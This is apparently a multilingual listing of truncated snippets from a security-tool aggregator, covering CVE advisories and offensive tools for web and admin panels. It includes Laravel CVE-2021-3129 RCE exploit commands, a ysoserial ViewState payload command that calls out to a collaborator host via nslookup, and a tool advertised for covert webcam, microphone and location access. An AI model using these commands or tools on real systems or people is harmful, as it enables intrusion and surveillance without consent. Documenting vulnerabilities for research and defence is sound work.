CVE-2022-42176

PCSecure V5.0.8.xw - 구성 파일에 하드코딩된 자격 증명 사용으로 관리자 패널 접근 가능 요약 공급업체: PCTechSoft SAS 제품: PCSecure 영향을 받는 버전: 5.0.8.xw 코드네임: PapiQuieroPollo00 취약점 유형: 하드코딩된 자격 증명 사용 CWE-798 CVSSv3.1 벡터: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSSv3.1 기본 점수: 7.8 높음 익스플로잇 가능 여부: 없음 CVE ID: CVE-2022-42176 설명...

CVE-2024-25169-Mezzanine-v6.0.0

製品: Mezzanine CMS バージョン: v6.0.0 発見日: 10.01.2024. 報告日: 10.01.2024. 脆弱性タイプ: 不適切なアクセス制御 CVE ID: CVE-2024-25169 説明: Mezzanine v6.0.0 には、攻撃者が巧妙に細工されたリクエストを介して管理パネルのアクセス制御メカニズムをバイパスできる問題があります。 POC は近日公開予定:...

CVE-2022-44877-CWP7

CVE-2022-44877-CWP7 Control Web Panel 7 CWP7 远程代码执行 RCE CVE-2022-44877 未授权 仓库将很快更新POC。...

Storm-Breaker

魅力的な機能を持つツール。 機能： 許可なしでデバイス情報を取得！ 位置情報へのアクセススマートフォン ウェブカメラへのアクセス マイクへのアクセス 更新履歴： 2022年11月4日の2回目（最新）のアップデート。 ツールの全体的な構造は最初からプログラムされ、ウェブパネルとして利用可能（以前のバージョンではコマンドラインで利用可能でした）。 以前のバージョンのバグを修正！ Ngrokの自動ダウンロードを追加！ テンプレートを最適化！ ログのダウンロードが可能に（新機能）！ ログのクリア機能を追加！ 個人のホストにアップロード可能（もうNgrokの問題はありません）...

CVE-2025-57310

CVE-2025-57310 Salmen2/Simple-Faucet-Script v1.07에서 admin.php?p=ads&c=1로 전송되는 조작된 POST 요청을 통해 발생하는 사이트 간 요청 위조CSRF 취약점으로, 공격자가 임의의 코드를 실행할 수 있습니다. CWE CWE-352: 사이트 간 요청 위조 CSRF CVSS v3.1 기본 점수: 8.8 높음 root@kitploit: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 요약 이 제품은 관리자 패널에서 사이트 간 요청 위조CSRF에...

Custom-Nuclei-Templates

커스텀 Nuclei 템플릿 이 Nuclei 템플릿 모음은 보안 테스트 역량을 강화하기 위해 설계되었습니다. 제가 직접 만든 몇 가지 커스텀 템플릿이며, 시간이 지나면서 더 추가할 수도 있습니다. 소개 Nuclei는 빠르고 사용자 정의가 가능한 취약점 스캐닝을 위한 강력한 도구입니다. 이 저장소에는 제가 재미로 만든 커스텀 템플릿 모음이 포함되어 있습니다. 설치 이 저장소를 클론하고 템플릿을 Nuclei 템플릿 디렉터리에 배치하세요: root@kitploit: git clone...

CPLDCOMTrigger

CPLDCOMTrigger Описание Python-скрипт, использующий библиотеки Impacket для запуска загрузки .cpl-файла в память через DCOM-объект. Путь к CPL-файлу должен быть предварительно добавлен в реестр. Скрипт использует функцию Open в интерфейсе IOpenControlPanel для загрузки CPL-библиотеки элемент пане...

CPLDCOMTrigger

CPLDCOMTrigger 설명 이 Python 스크립트는 Impacket 스크립트를 사용하여 DCOM 객체를 통해 .cpl 파일을 메모리에 로드하도록 트리거합니다. CPL 파일 경로는 이미 레지스트리에 추가되어 있어야 합니다. 이 스크립트는 IOpenControlPanel 인터페이스의 Open 함수를 사용하여 CPL제어판 항목 DLL을 메모리에 로드합니다. 전체 연구: https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/ 사용법 pytho...

NeutrinoBotHack

NeutrinoBotHack Neutrino 패널의 블라인드 SQL 인젝션...

CVE-2021-39512-BigTreeCMS-v4.4.14-AccountTakeOver

BigTreeCMS-v4.4.14-Unauthenticated-CSRF-AccountTakeOver Неаутентифицированный CSRF-захват учетной записи в BigTreeCMS v4.4.14 Все доступные для поиска модули в панели администратора BigTreeCMS v4.4.14 уязвимы для отраженного DOM-XSS через URI. Поисковые запросы отражаются на странице без надлежащ...

peerd

!...

CVE-2024-45264

CVE-2024-45264 Предлагаемое описание Уязвимость межсайтовой подделки запросов CSRF в панели администратора SkySystem Arfa-CMS до версии 5.1.3132 позволяет удаленным злоумышленникам добавлять нового администратора, что приводит к повышению привилегий. Тип уязвимости CWE-352 | Межсайтовая подделка...

CVE-2021-43032

CVE-2021-43032 В XenForo ≤ 2.2.7 злоумышленник, имеющий доступ к панели администратора, может сохранить полезные нагрузки межсайтового скриптинга в любой функции приложения, которая принимает HTML-код. Полезная нагрузка, размещенная в функционале 'Реклама', будет выполняться глобально на стороне...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 — Удалённое выполнение кода RCE в Pluck CMS v4.7.18 Описание Этот скрипт эксплуатирует уязвимость удалённого выполнения кода RCE в Pluck CMS v4.7.18. Уязвимость позволяет злоумышленнику загрузить вредоносный PHP-файл на сервер и выполнить его, получив удалённое выполнение команд на...

cumulus

Программное обеспечение для мониторинга уязвимостей приложений Что такое Cumulus Cumulus — это сервис, который помогает отслеживать и устранять уязвимости безопасности в реальном времени. Проблемы отображаются на веб-панели. Сервис очень простой и мощный...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

CVE-2024-54679

CVE-2024-54679 - CyberPanel также известный как Cyber Panel Отказ в обслуживании Описание Уязвимость отказа в обслуживании DoS была обнаружена в Cyber Panel, которая позволяет любому аутентифицированному пользователю перезапускать базу данных, отправляя запросы на конечную точку...

cve-2020-0688

cve-2020-0688 cve-2020-0688 이메일 주소 권한이 있는 사용자로 로그인하는 것은 문제가 되지 않습니다. 획득 - 페이지 소스에서 VIEWSTATEGENERATOR 가져오기 획득 - viewstateuserkey 값에 대한 ASP.NETSessionId 쿠키 값 가져오기 여기서 YSO 다운로드 root@kitploit: ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net"...

CVE-2023-41508

CVE-2023-41508 CVE-2023-41508 - Super Store Finder v3.6 中存在硬编码密码，允许攻击者访问管理面板。 漏洞类型 访问控制不当 产品供应商 Super Store Finder 受影响产品代码库 Super Store Finder - 受影响版本 3.6 及以下。已在 3.7 版本中修复 CVSS v3.1 向量（基础评分） AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 10.0 受影响组件 受影响的 Web 管理控制台 攻击类型 远程 影响：拒绝服务 true 影响：权限提升 true 影响：代码执行 tr...

cyberpanel

🛠️ CyberPanel OpenLiteSpeed 기반 웹 호스팅 제어 패널로, 호스팅 관리를 간소화하도록 설계되었습니다. 🔧 기능 및 서비스 🔐 다양한 사용자 액세스 수준 ACL 기반. 🌌 Auto SSL 로 웹사이트 보안 강화. 💻 FTP 서버 로 파일 전송 지원. 🕒 경량 DNS 서버 PowerDNS. 🔐 phpMyAdmin 으로 데이터베이스 관리 MariaDB. 📧 이메일 지원 SnappyMail. 🕌 파일 관리자 로 빠른 파일 액세스. 🌐 PHP 관리 를 쉽게. 🔒 방화벽 FirewallD 및 ConfigServer...